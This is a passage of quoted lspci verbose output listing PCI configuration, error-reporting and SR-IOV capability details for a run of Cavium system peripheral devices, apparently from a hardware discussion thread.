> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0f:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84e200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcc00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:10:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84f200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcc80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:11:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 850200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcd00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:12:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 851200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcd80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:13:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 852200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fce00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:14:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 853200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fce80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:15:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 854200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcf00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:16:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 855200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcf80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
